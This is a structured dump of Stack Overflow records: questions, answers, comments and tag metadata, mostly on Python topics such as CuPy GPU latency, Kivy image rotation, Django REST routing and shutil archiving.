has body: With various libraries that support GPU programming, I am finding that I get worse performance in my algorithm on GPU vs CPU. I believe this is due to latency communicating between the two devices. My platform is W10x64 with an i7-7700HQ and GTX 1050 in a Dell XPS 15 laptop. If I use any library, e.g. pytorch.cuda.FloatTensor, or a cupy.ndarray touching a GPU array seems to require about 20~40us. Here's a MWE: import cupy as cu ary = cu.empty((1)) const_one = cu.ones((1)) %timeit ary + const_one &gt; 18.5 µs ± 102 ns per loop (mean ± std. dev. of 7 runs, 100000 loops each) Operating on 1 element is not what GPUs are for, this is a contrived example to show minimum operation time with two pieces of data, both residing on the GPU. I believe the structure of cuda code is that a queue of operations is built and consumed as the GPU is capable, so this latency washes away over time or with larger blocks of memory? Here is a complete comparison between the same algorithm in numpy and cupy, which completes a phase error over a 128x128 optical pupil with double precision, and uses it to create a point spread function. I have tried to be as careful as possible to mitigate host-device transfers; only the ints for array sizes exist on CPU for cupy, as I could not get them on GPU ahead of time. Initial setup: precision = 'float32' ary_size = 128 pad = ary_size // 2 cu0 = cu.zeros((1)) cu2 = cu.ones((1)) * 2 cu1 = cu.ones((1)) CUDA execution %%timeit x = cu.linspace(-cu1, cu1, ary_size, dtype=precision) y = cu.linspace(-cu1, cu1, ary_size, dtype=precision) xx, yy = cu.meshgrid(x, y) rho, phi = cu.sqrt(xx**cu2 + yy**cu2), cu.arctan2(yy, xx) phase_err = rho ** cu2 * cu.cos(phi) mask = rho &gt; cu1 wv_ary = cu.exp(1j * cu2 * np.pi * phase_err) wv_ary[mask] = cu0 padded = cu.pad(wv_ary, ((pad, pad), (pad, pad)), mode='constant', constant_values=0) psf = fftshift(fft2(ifftshift(padded))) intensity_psf = abs(psf)**cu2 &gt; 4.73 ms ± 86.4 µs per loop (mean ± std. dev. of 7 runs, 100 loo…
type: Question
has comment: http://stackoverflow.com/comment/86060917
tagged with: latency

http://stackoverflow.com/comment/85956223
has text: as i said it is there already and it has a create_superuser function too, will you please check my edited code. now the code from models.py is up there
type: Comment
comment on: http://stackoverflow.com/a/49475526
score: 0
type: AnswerComment

http://stackoverflow.com/comment/85925821
has text: Similar to https://stackoverflow.com/q/9809434/407651
score: 0
comment on: http://stackoverflow.com/q/49461153
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49561999
answer count: 1
tagged with: user-interface
downvote count: 3
tagged with: windows-10-desktop
has body: i am developing a gui app using Tkinter in python 2.7 but when converted it into .exe file using pyinstaller, i am unable to see it, command promp is comiing and disappearing in split second, i did this with py2exe and it shwing error that cannot find ddls needed.ddl error i have already msvcp100.dll visual studios 2013 but it is still showing same eroor
has comment: http://stackoverflow.com/comment/86132046
favorite count: 0
has comment: http://stackoverflow.com/comment/86149469
type: Question
tagged with: pyinstaller
type: UnansweredQuestion
score: -3
tagged with: python
has answer: http://stackoverflow.com/a/49564910
tagged with: tkinter
upvote count: 0
has title: when i convert gui .py file to .exe file i am unable to see anything

http://stackoverflow.com/comment/85895263
score: 0
type: Comment
type: QuestionComment
has text: Not a Windows person myself, but colleagues inflicted with it were using https://github.com/pywinauto/pywinauto IIRC. Perhaps it helps you?
comment on: http://stackoverflow.com/q/49445954

http://stackoverflow.com/q/49567731
tagged with: python
tagged with: kivy
has answer: http://stackoverflow.com/a/49567868
type: AnsweredQuestion
score: 0
has body: I am using a Raspberry Pi to create a program for a rudder feedback indicator on a boat. Pretty much a potentiometer is connected to the rudder and a variable voltage is sent to an Analog to digital converter connected to my Pi. I can use the input to display my current rudder angle (in text form) however I want it to be able to rotate an image I have to act as the dial (or guage) I want the angle to be constantly updated and appear on the GUI. How do I get a function to refer back to the rotation angle in my .KV file? This will work when the program is first run but will not update throughout the program class RudderAngle(Screen): def __init__(self, **kwargs): super(RudderAngle, self).__init__(**kwargs) Clock.schedule_interval(self.Print_Rudder,0.02) def Print_Rudder(self, *args): angle = mcp.read_adc(7) deg = angle/17.0 dega = angle/17.0 if deg&lt;=30: ri = (30-deg) colour = [0, 1, 0, 1] angle = 90-dega*3 if deg==30: ri = (0) colour = [0,0,0,1] angle = 0 if deg&gt;30: ri = (deg-30) colour = [1, 0, 0, 1] angle =-(dega*3)+90 ri = math.floor(ri) ri = int(ri) ri = str(ri) rai = self.ids.rudderposition ind1 = self.ids.ind rai.text = ri rai.color = colour ind1.angle = angle return angle ----------KV File---------- FloatLayout: id: rudder_angle padding: 10 canvas.before: Color: rgba: .95, 1, 1, 1 Rectangle: pos: self.pos size: self.size Label: font_size: 100 id: rudderposition text: '0' pos_hint: {"center_x": .5, "center_y": .6} background_color: (1, 1, 1, 1) Image: id: ind source: 'rai-pics/dial.png' size_hint: 1,1 pos_hint: {"center_x": .5, "center_y": .5} Image: source: 'rai-pics/ri.png' size_hint: 0.7,0.5 pos_hint: {"center_x": .5, "center_y": .5} canvas.before: PushMatrix Rotate: #angle: root.Print_Rudder() axis: 0, 0, 1 origin: root.center canvas.after: PopMatrix
answer count: 1
type: Question
has title: Kivy: How to Rotate an Image continually, based on an input
accepted answer: http://stackoverflow.com/a/49567868

http://stackoverflow.com/comment/86183369
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49587616
type: QuestionComment
has text: Are you sure its not already installed? try running python interpreter with `import tkinter ` if that fails check out http://www.tkdocs.com/tutorial/install.html

http://stackoverflow.com/comment/85924363
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49460703
has text: There is a couple ways of doing this check out this SO question: https://stackoverflow.com/q/39560167/2175781
type: QuestionComment

async-await
tags question: http://stackoverflow.com/q/49441287
type: Tag
tags question: http://stackoverflow.com/q/49502165
tag name: async-await
tags question: http://stackoverflow.com/q/49526027
tags question: http://stackoverflow.com/q/49459483

http://stackoverflow.com/a/49594372
upvote count: 2
accepted answer of: http://stackoverflow.com/q/49594271
type: AcceptedAnswer
downvote count: 0
has body: Firstly there is the question of getting the right characters into your strings. Then there is the question of how Python displays your string. The same string can be displayed in two different ways. &gt;&gt;&gt; s = '\\asd' &gt;&gt;&gt; s '\\asd' &gt;&gt;&gt; print(s) \asd In this example the string only has one slash. We use two slashes to create it but that results in a string with one slash. We can see that there's only one slash when we print the string. But when we display the string simply by typing s we see two slashes. Why is that? In that situation the interpreter shows the repr of the string. That is it shows us the code that would be needed to make the string - we need to use quotes and also two slashes on our code to make a string that then has one slash (as s does). When you print a list with a string as an element we will see the repr of the string inside the list: &gt;&gt;&gt; print([s]) ['\\asd']
score: 2
type: Answer
answers question: http://stackoverflow.com/q/49594271

http://stackoverflow.com/q/49444088
has title: TypeError: get() takes exactly 3 arguments (2 given) error in Python
tagged with: django
tagged with: python
favorite count: 0
has answer: http://stackoverflow.com/a/49444661
type: Question
has answer: http://stackoverflow.com/a/49446701
answer count: 2
has comment: http://stackoverflow.com/comment/85889702
has comment: http://stackoverflow.com/comment/85889653
score: 2
upvote count: 2
has body: I have checked few of the answers in SO, but nothing worked for me. I'm still giving the same error: TypeError: get() takes exactly 3 arguments (2 given) Can anybody check the following code and let me know what I have done wrong? my 'views.py' is as follows def get(self, request, tag): print("Tag for tagging :") data_loader = SvnDataLoader() print("Two :") ss = SubsystemRevision.get_subsystem_for_tag(tag) print("Subsystem is %s", ss) try: print("inside try") pr = subprocess.Popen(['perl', './svntasktag.pl', 'ss'], stdout=subprocess.PIPE) data = pr.communicate() context = {'data':data} except TagHistoryMissing: data = 'Tag is missing.' except SvnException as e: data = "Problem while trying to fetch tag-history from svn. Try again later" #logger.error("SvnException %s while trying to fetch the tag %s" % (str(e), tag.name)) return render_to_response('pai_app/create_tag.html', {'data': data}, context_instance=RequestContext(request))
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/q/49466434
tagged with: python
duplicate of: http://stackoverflow.com/q/9126766
score: 0
has body: I'm working on a custom class for an object in Python which has a string representation and an integer interpretation. The string representation is calculated from the integer one and vice versa. An object from this class is supposed to 'interact' with integers with operations (like + etc). So I've overwritten all the operators in my custom class, so they can interact with integers. Now, everything works fine when my class is to the left of the operand, but when my class is to the right and an integer is to the left, the operation fails because e.g. the 'add' method from int requires another int to the right of an operand. How can I fix this? I've thought of subclassing my class from int, but this could make things complicated so I'm curious if there's a simple solution to this.
has comment: http://stackoverflow.com/comment/85935462
has title: Specify how to function as 'other' in operation (Python)
has comment: http://stackoverflow.com/comment/85935499
type: Question
answer count: 0
linked to: http://stackoverflow.com/q/9126766
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85935490

http://stackoverflow.com/comment/85893896
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/49446027
has text: Possible duplicate of https://stackoverflow.com/questions/49182255/executing-a-function-that-adds-columns-and-populates-them-dependig-on-other-colu?noredirect=1&lq=1

http://stackoverflow.com/comment/86091157
comment on: http://stackoverflow.com/q/49541231
type: Comment
type: QuestionComment
has text: @David a dict like you've produced in your answer that I have accepted!
score: 0

http://stackoverflow.com/q/49451736
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85906182
tagged with: arrays
linked to: http://stackoverflow.com/q/47551275
has comment: http://stackoverflow.com/comment/85906101
duplicate of: http://stackoverflow.com/q/47551275
has comment: http://stackoverflow.com/comment/85906054
has comment: http://stackoverflow.com/comment/85906468
has comment: http://stackoverflow.com/comment/85906726
has title: How to capitalize the beginning of each sentence with python?
has comment: http://stackoverflow.com/comment/85906057
tagged with: python
has comment: http://stackoverflow.com/comment/85905952
has comment: http://stackoverflow.com/comment/85906573
type: Question
linked to: http://stackoverflow.com/q/4576077
score: 0
has body: What I'm trying to do is to get some text from the user store it in a variable. I then split that variable by a period which gives me a sentence_list. Then I want to capitalize the starting word of each element contained in the list. userText = input('Enter your text: ') sentence = userText.split('. ')

http://stackoverflow.com/a/49516388
has comment: http://stackoverflow.com/comment/86070199
type: Answer
answers question: http://stackoverflow.com/q/49516102
has comment: http://stackoverflow.com/comment/86065762
score: 0
has body: The xpath is not the problem but your (missing) code; in Chrome Dev Tools -> console, I get : $x('//div[@class="vw_m108_item_container vw_accordion_item_container"]//div[@class="inner"]/div[@class="td"]//text()').length Output : 84 When you post here on SO, like @some-progammer said, always post your code. Please, read MCVE
has comment: http://stackoverflow.com/comment/86062658

http://stackoverflow.com/comment/85929972
has text: Hello. Well the code returns one correct answer (for one container) meaning it takes the "title",etc and gives the value. The issue is that it doesn't loop all the containers.
score: 0
comment on: http://stackoverflow.com/q/49463185
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49495404
answer count: 3
accepted answer: http://stackoverflow.com/a/49508136
has body: I have the following setup: I want to list all holidays of a specific year. That's why I leave out the default list view and implement my own like this: class HolidayViewSet(mixins.RetrieveModelMixin, GenericViewSet): @list_route() def year(self, request, year=get_today().year): public_holidays = self.get_queryset().filter(date__year=year) page = self.paginate_queryset(public_holidays) if page is not None: serializer = self.get_serializer(page, many=True) return self.get_paginated_response(serializer.data) serializer = self.get_serializer(public_holidays, many=True) return Response(serializer.data) If I use the default /holiday/year/ I get a result for the current year. But whe I try to pass a parameter, I'll get a 404. The 404 page (in debug mode) even shows me the correct URL pattern: api/v1/ ^holiday/year/$ [name='holiday-year'] api/v1/ ^holiday/year\.(?P&lt;format&gt;[a-z0-9]+)/?$ [name='holiday-year'] In the documentation this aspect is unfortunately not covered. Any ideas why my route to holiday/year/2017 is not working?
upvote count: 3
has comment: http://stackoverflow.com/comment/86016918
has answer: http://stackoverflow.com/a/49508136
has comment: http://stackoverflow.com/comment/85995493
favorite count: 0
has title: django Rest Framework - ViewSet with custom list view and URL parameter
type: Question
possible better answer: http://stackoverflow.com/a/49495883
has answer: http://stackoverflow.com/a/49495883
downvote count: 0
has comment: http://stackoverflow.com/comment/85994907
tagged with: django
tagged with: python
tagged with: django-rest-framework
has comment: http://stackoverflow.com/comment/85994783
type: AnsweredQuestion
score: 3
linked to: http://stackoverflow.com/q/28841600
has answer: http://stackoverflow.com/a/58181628

http://stackoverflow.com/q/49525218
has comment: http://stackoverflow.com/comment/86056311
has answer: http://stackoverflow.com/a/49525640
has comment: http://stackoverflow.com/comment/86056463
tagged with: range
tagged with: python
has comment: http://stackoverflow.com/comment/86056273
type: AnsweredQuestion
downvote count: 4
has comment: http://stackoverflow.com/comment/86056676
has comment: http://stackoverflow.com/comment/86056619
has comment: http://stackoverflow.com/comment/86056435
upvote count: 0
has title: Python: Why does the position of each element change when using for loop for with float()
score: -4
answer count: 1
has comment: http://stackoverflow.com/comment/86056336
has comment: http://stackoverflow.com/comment/86056496
has comment: http://stackoverflow.com/comment/86056555
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86056456
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86056297
has comment: http://stackoverflow.com/comment/86056343
accepted answer: http://stackoverflow.com/a/49525640
tagged with: for-loop
has body: My code: from math import sqrt nums = {float(sqrt(x)) for x in range(0, 10)} print(nums) Output: {0.0, 1.0, 2.0, 1.7320508075688772, 1.4142135623730951, 2.23606797749979, 2.449489742783178, 2.6457513110645907, 2.8284271247461903, 3.0} Why does the position of each element change when using float(sqrt(x))?

http://stackoverflow.com/q/49577634
tagged with: spotipy
type: UnansweredQuestion
score: 1
has title: spotify search API query
tagged with: spotify
has body: how can i get the followers count and genre and other results from the code down below: q="A" sp.search(q,limit=1,offset=0,type="artist",market="US") followers=result['artists']['items'] pprint(followers) [{'external_urls': {'spotify': 'https://open.spotify.com/artist/0ZXKT0FCsLWkSLCjoBJgBX'}, 'followers': {'href': None, 'total': 121213}, 'genres': ['gothic metal', 'progressive metal'], 'href': 'https://api.spotify.com/v1/artists/0ZXKT0FCsLWkSLCjoBJgBX', 'id': '0ZXKT0FCsLWkSLCjoBJgBX', 'images': [{'height': 640, 'url': 'https://i.scdn.co/image/350538b94d7d1829d983eaf4ee4aeca2af071f2c', 'width': 640}, {'height': 320, 'url': 'https://i.scdn.co/image/1a00c2a831a77f681516d3be11f2f0c6a9bb85b2', 'width': 320}, {'height': 160, 'url': 'https://i.scdn.co/image/8066cb28d68d3ce4924f33e6eca1b3a2a391eca6', 'width': 160}], 'name': 'Anathema', 'popularity': 53, 'type': 'artist', 'uri': 'spotify:artist:0ZXKT0FCsLWkSLCjoBJgBX'}]
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: python
has answer: http://stackoverflow.com/a/49822702

http://stackoverflow.com/q/49457644
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49457670
score: 3
accepted answer: http://stackoverflow.com/a/49457670
tagged with: python
tagged with: elementtree
tagged with: http://stackoverflow.com/tag/xml
type: Question
has body: If I run the following python on an XML file (see bottom of Q): import xml.etree.ElementTree as ET tree = ET.parse('C:\\temp\\test2.xml') print(tree.getchildren()) I get the error: AttributeError: 'ElementTree' object has no attribute 'getchildren' I uploaded the XML to an online validator and it said the XML was fine.
answer count: 2
has answer: http://stackoverflow.com/a/68312365
possible better answer: http://stackoverflow.com/a/68312365
upvote count: 3
has title: Python getchildren() not working for valid XML tree
downvote count: 0
favorite count: 0

http://stackoverflow.com/a/49541917
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49541817
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86098591
has body: This pattern is rarely if ever a good idea and defeats the purpose of Pandas, but if you have some unusual use case that requires it, you can achieve it by further nesting your inner lists an additional level in your main list, then creating a DataFrame from that: l = [[x] for x in l] df = pd.DataFrame(l) 0 0 [chunky, bacon, foxes] 1 [dr_cham] 2 [organ, instructor]

http://stackoverflow.com/comment/86209465
score: 0
type: Comment
has text: Thank you, this worked, but it didn't assign the CON output to my variable, it just printed it out (tested it in command line) `>>> output = ch(r'C:\repos\rng\rngcapture.exe 3 CON 8', shell=True) >>> Opening serial port \\.\COM3...OK 8Γ₧▀ä┌Qq Closing serial port...OK` those weird symbols in the middle came from the out put of the 1's and 0's from the device. That's what goes in file. So it came to stdout b/c I used CON like you said, but I don't really know how to capture it in the variable. the report that it finished got saved in `output`. should I use CreatenNmedPipe() to capture stdout?
type: AnswerComment
comment on: http://stackoverflow.com/a/49594379

http://stackoverflow.com/q/49532710
has title: VIM "go to definition" functionality for Python
favorite count: 0
duplicate of: http://stackoverflow.com/q/635770
score: 1
has body: I want to use VIM as my IDE but it lacks the functionality of "go to definition" that other IDEs have (e.g. PyCharm). This functionality offers to go to the definition of a function or variable with ctrl+click. I do not care how the functionality will be invoked (e.g. instead of ctrl+click could be ctrl+q or any other combination of keys/actions) but I really want to have it. The fact that VIM lacks this is the main reason that I'm only using it when I'm editing files on a server and when I'm working from home (otherwise, git push/pull and the problem is solved). Does anyone knows how to have this "go to definition" functionality in VIM?
tagged with: python
tagged with: vim
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/86071645
type: UnansweredQuestion
downvote count: 0
upvote count: 1
linked to: http://stackoverflow.com/q/635770
tagged with: ide

http://stackoverflow.com/q/49538608
has body: When using Thread objects from the threading module in python, do threads need to be joined in order to release all their resources? From the pthread man pages : "Only when a terminated joinable thread has been joined are the last of its resources released back to the system." However the python threading documentation does not mention that a join is necessary to clean up resources, just that it waits for a thread to terminate. This question claims that a join in python does not do anything to the thread, but does not provide any evidence of why they think that. So when using python do I need to call join on all my threads, to release all their resources?
answer count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: multithreading
linked to: http://stackoverflow.com/q/49134260
downvote count: 0
has comment: http://stackoverflow.com/comment/86084641
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86086000
has comment: http://stackoverflow.com/comment/86085040
has comment: http://stackoverflow.com/comment/86087623
has title: Do Threads in python release resources without a join?
tagged with: python
score: 2

http://stackoverflow.com/q/49542962
downvote count: 1
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/49546458
has comment: http://stackoverflow.com/comment/86099102
has title: Science paper information extraction with Python?
has answer: http://stackoverflow.com/a/49546458
has comment: http://stackoverflow.com/comment/86141350
has body: I am just new to Python and it just happens to me that I need to extraction some information from a few science papers. If given something plain text like: Introduction some long writings Methodology some long writings Results some long writings How could I put one paper into a dictionary like the follow? paper_1 = { 'Introduction': some long writings, 'Methodology': some long writings, 'Results': some long writings } So many thanks :-) After trying, I got some code running but it does not work perfectly: text = 'introduction This is the FIRST part.' \ 'Methodologies This is the SECOND part.' \ 'results This is the THIRD part.' import re from re import finditer d={} first =[] second =[] title_list=[] all =[] for match in finditer("Methodology|results|methodologies|introduction|", text, re.IGNORECASE): if match.group() is not '': title = match.group() location = match.span() first.append(location[0]) second.append(location[1]) title_list.append(title) all.append(first) all.append(second) a=[] for i in range(2): j = i+1 section = text[all[1][i]:all[0][j]] a.append(section) for i in zip(title_list, a): d[i[0]] = i[1] print (d) This would give the following results: { 'introduction': ' This is the FIRST part.', 'Methodologies': ' This is the SECOND part.' } However, i) it is not able to extract the last bit, which is the RESULTS part. ii). In the loop, I gave the range() function an input of 2 because I know there are only 3 sections(introduction, methodology and results) but in some papers, people would add more sections, how could I automatically assign the correct value to range()? For example some papers may have the following sections: Introduction some long writings General background about something some long writings some sort of section title some long writings Methodology some long writings Results some long writings iii). Is there a more efficient way that I could build the dictionary in each loop? So I do not need to use the second loop. 30-03-2018 update: C…
tagged with: python
tagged with: text-mining
tagged with: dictionary
has comment: http://stackoverflow.com/comment/86093618
accepted answer: http://stackoverflow.com/a/49571097
tagged with: text
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49571097
answer count: 2
upvote count: 3
tagged with: web-scraping

http://stackoverflow.com/comment/86879500
type: AnswerComment
has text: Thank you. That works. And it seems like it may be useful in other situations.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49889433

http://stackoverflow.com/comment/86076668
type: QuestionComment
has text: it's not actual code, I just didn't bother to find an alternative to `type` for the example :) The code works fine, it's `mypy` that raises an error.
comment on: http://stackoverflow.com/q/49533340
score: 0
type: Comment

http://stackoverflow.com/comment/86471627
has text: Are you using an absolute path to your db file? Does the Jenkins user possess write access to the db file?
comment on: http://stackoverflow.com/q/49554728
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86126975
score: 1
comment on: http://stackoverflow.com/q/49558960
type: Comment
type: QuestionComment
has text: my bad, I'm on Windows 10. sip-v just returns an error @JaredForth

http://stackoverflow.com/q/49498210
has comment: http://stackoverflow.com/comment/86001252
has comment: http://stackoverflow.com/comment/86000531
score: 1
upvote count: 1
answer count: 1
accepted answer: http://stackoverflow.com/a/49498460
favorite count: 0
has comment: http://stackoverflow.com/comment/86000481
type: Question
tagged with: build-tools
has comment: http://stackoverflow.com/comment/86000523
has comment: http://stackoverflow.com/comment/86001194
has title: Installing Python package from source using Microsoft Visual Build Tools 2017
tagged with: windows
tagged with: kenlm
tagged with: python
has comment: http://stackoverflow.com/comment/86000517
has answer: http://stackoverflow.com/a/49498460
type: AnsweredQuestion
has body: I have a python package that is failing to install due a dependency on Windows build tools. Things I have tried: Install latest version of Visual Studio 2017 (AFAIK it should contain Microsoft Visual C++ 14.0). Install Build Tools for Visual Studio 2017 directly from here https://www.visualstudio.com/downloads/#build-tools-for-visual-studio-2017. Put C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools on my path explicitly. Uninstall all of Visual Studio and try again. So far no luck. I tried restarting the terminal, restarting the computer etc... I am using GitBash, which might be relevant, although it never causes me any problems otherwise. When I installed the tools, I made sure to check the 'Visual C++ Build Tools' workflow which selected some subset of the many line items that were available under the Individual Components tab. In my example below I'm installing a language model but I believe that my issue is more general than that. I'm finding it difficult to understand which of the many components are relevant to my task. What I would like to know is: how do I validate that I have the build tools configured correctly and that I have the correct version? Any advice or guidance here would be much appreciated. error: $ pip36 install https://github.com/kpu/kenlm/archive/master.zip Collecting https://github.com/kpu/kenlm/archive/master.zip Downloading https://github.com/kpu/kenlm/archive/master.zip (526kB) Installing collected packages: kenlm Running setup.py install for kenlm: started Running setup.py install for kenlm: finished with status 'error' Complete output from command c:\users\ks99999999\appdata\local\programs\python\python36-32\python.exe -u -c "import setuptools, tokenize;__file__='C:\\Users\\ks99999999\\AppData\\Local\\Temp\\pip-tfn5ym94-b uild\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close ();exec(compile(code, __file__, 'exec'))" install --record C:\Users\ks99999999\AppData\Local\Temp\pi…
downvote count: 0

http://stackoverflow.com/q/49574212
tagged with: gaussian
tagged with: python
has answer: http://stackoverflow.com/a/78906402
possible better answer: http://stackoverflow.com/a/78906402
tagged with: linear-algebra
upvote count: 4
has title: Random positive semi-definite matrix with given eigenvalues and eigenvectors
favorite count: 0
type: Question
tagged with: numpy
has body: Is there a way to generate a random positive semi-definite matrix with given eigenvalues and eigenvectors in Python? I looked at this, but they do not allow to specify eigenvalues for matrix construction. Context: I want to generate random multivariate Gaussians with controlled ellipticity and because the major/minor axes of the distribution have the length proportional to eigenvalues I want my covariance matrix to have them. Definiton could be found here (page 81).
answer count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/49574672
linked to: http://stackoverflow.com/q/619335
score: 4
tagged with: scipy
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49574672

http://stackoverflow.com/q/49467850
answer count: 3
has answer: http://stackoverflow.com/a/61627884
downvote count: 0
has comment: http://stackoverflow.com/comment/85940128
score: 6
linked to: http://stackoverflow.com/q/46943014
has body: I have App dir inside Release dir $ cd Release $ tree . `-- App |-- App.exe .......... and I am trying to create App-1.0.zip in the Release dir containg App with all its content. That is after unpacking App-1.0.zip I would get this App dir. I tried shutil.make_archive but when I do this import shutil shutil.make_archive('App-1.0', 'zip', '.') from Release dir, I get 48 byte App-1.0.zip inside App-1.0.zip besides the App dir. That is it adds this unfinished archive to itself. Is there any way to avoid that except creating the archive in temp dir and moving? I tried to set base_dir and use App as root_dir shutil.make_archive('App-1.0', 'zip', 'App', 'App') but I get error that App is not found when I set base_dir. Traceback (most recent call last): File ".......archive.py", line 4, in &lt;module&gt; shutil.make_archive('App-1.0', 'zip', 'App', 'App') File "C:\Users\Alex\.virtualenvs\....-nAKWzegL\lib\shutil.py", line 800, in make_archive filename = func(base_name, base_dir, **kwargs) File "C:\Users\Alex\.virtualenvs\....-nAKWzegL\lib\shutil.py", line 686, in _make_zipfile zf.write(path, path) File "C:\Users\Alex\AppData\Local\Programs\Python\Python36-32\Lib\zipfile.py", line 1594, in write zinfo = ZipInfo.from_file(filename, arcname) File "C:\Users\Alex\AppData\Local\Programs\Python\Python36-32\Lib\zipfile.py", line 484, in from_file st = os.stat(filename) FileNotFoundError: [WinError 2] The system cannot find the file specified: "'App'" The same for '/App' and './App'. With full path it works, but I get all parent dirs, not just App. Python 3.6.4 (v3.6.4:d48eceb, Dec 19 2017, 06:04:45) [MSC v.1900 32 bit (Intel)] on win32
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49468104
has comment: http://stackoverflow.com/comment/85941307
possible better answer: http://stackoverflow.com/a/61627884
tagged with: python
tagged with: archive
upvote count: 6
tagged with: shutil
has comment: http://stackoverflow.com/comment/85940818
has comment: http://stackoverflow.com/comment/85938922
has comment: http://stackoverflow.com/comment/85939246
accepted answer: http://stackoverflow.com/a/49468104
type: AnsweredQuestion
tagged with: python-3.x
has title: Stop shutil.make_archive adding archive to itself
has answer: http://stackoverflow.com/a/77757003

http://stackoverflow.com/q/49546164
has body: I'd like to use a "switch/case" structure to decide which variable to assign a value to based on some parameter: a, b = [init_val] * 2 # This doesn't exist in Python. switch param case 'a': a = final_val case 'b': b = final_val The dictionary method described in the question Replacements for switch statement in Python doesn't work here, since you can neither assign to a function call, a, b = [init_val] * 2 switcher = { 'a': a, 'b': b } switcher.get(param) = final_val nor change the value of a variable by storing it in a dictionary: switcher[param] = final_val # switcher['a'] is only a copy of variable a I could just stick to "if/elif", but since I have often seen that nice dictionary solution (as in the aforementioned question) for determining an output based on some parameter, I'm curious to see if there's a similar solution for determining which variable, out of a set of variables, to assign a value to.
has comment: http://stackoverflow.com/comment/106407134
has comment: http://stackoverflow.com/comment/86099759
has comment: http://stackoverflow.com/comment/106407030
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/106406934
has title: 'switch'/'case' for determining the variable to assign to in Python
has comment: http://stackoverflow.com/comment/86099783
has comment: http://stackoverflow.com/comment/86130429
has comment: http://stackoverflow.com/comment/122751463
linked to: http://stackoverflow.com/q/60208
tagged with: python
has comment: http://stackoverflow.com/comment/86099864
has answer: http://stackoverflow.com/a/76691002
has comment: http://stackoverflow.com/comment/86099928
has comment: http://stackoverflow.com/comment/106406896
has comment: http://stackoverflow.com/comment/86109234
tagged with: switch-statement
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86099906
answer count: 2
score: 5
has comment: http://stackoverflow.com/comment/106406679
has comment: http://stackoverflow.com/comment/106407117
accepted answer: http://stackoverflow.com/a/49549644
downvote count: 2
possible better answer: http://stackoverflow.com/a/76691002
has comment: http://stackoverflow.com/comment/86099891
has answer: http://stackoverflow.com/a/49549644
has comment: http://stackoverflow.com/comment/86099780
upvote count: 7

http://stackoverflow.com/comment/85934261
has text: What are you trying to achieve here? In particular, what are your inputs and desired output? As far as I can see, your inputs are `['1', '2', '3', '4']` / `['i', 'put', 'this', 'here']`. Your desired output is `['i', 'put', 'this', 'here']`. So there is no problem here?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49465391
score: 0

http://stackoverflow.com/comment/100582218
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/51241411
has text: Just adding the second line (install docutils,pygments,etc) without uninstalling kivy and it still works.
type: Comment

http://stackoverflow.com/comment/85961035
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49479058
has text: Can't you just open your downloaded file with `open('yourfile.txt', encoding='utf-8')`?

http://stackoverflow.com/comment/85927907
score: 0
comment on: http://stackoverflow.com/a/49462541
type: Comment
type: AnswerComment
has text: I think so too.

http://stackoverflow.com/comment/86106473
score: 0
type: AnswerComment
has text: @kemalkaya , appended code into the answer. For the line `t = t % period`, I specified period as 1. You may need to decide what value suits your need.
type: Comment
comment on: http://stackoverflow.com/a/49535717

http://stackoverflow.com/a/49508712
type: Answer
has comment: http://stackoverflow.com/comment/86024132
has comment: http://stackoverflow.com/comment/86022448
has comment: http://stackoverflow.com/comment/86021992
has comment: http://stackoverflow.com/comment/86021777
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/49508611
upvote count: 1
has body: You can specify in the serializers which fields you want to include or exclude in the response: http://www.django-rest-framework.org/api-guide/serializers/#specifying-which-fields-to-include look for : Specifying which fields to include hope this helpes

http://stackoverflow.com/comment/85940263
score: 0
type: Comment
has text: Thank you for your tip! The indent was indeed an issue with pasting the code. As to your second point, I, unfortunately, can't pinpoint the specific area. My best idea of where the mistake might lie is in the actor-network gradient calculation or application. The actions output don't seem to change over time and have very small numerical values. The self.actor_grads and self.optimize ops in the _init_ method handle these.
type: QuestionComment
comment on: http://stackoverflow.com/q/49468486

http://stackoverflow.com/comment/86149083
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49561381
has text: Your **libpython3.6m.a** is not in a system LD_LIBRARY_PATH. `/usr/lib(64)` is : My hint in the previous comment. `/usr/local/lib/` is most often also included in the LD_LIBRARY_PATH. ... `/usr/local/lib/python3.6/config-3.6m-x86_64-linux-gnu/` **is not**. .... No OS name / version can be found in your question : `cat /etc/*release*`

http://stackoverflow.com/a/49513137
has comment: http://stackoverflow.com/comment/123800463
type: AcceptedAnswer
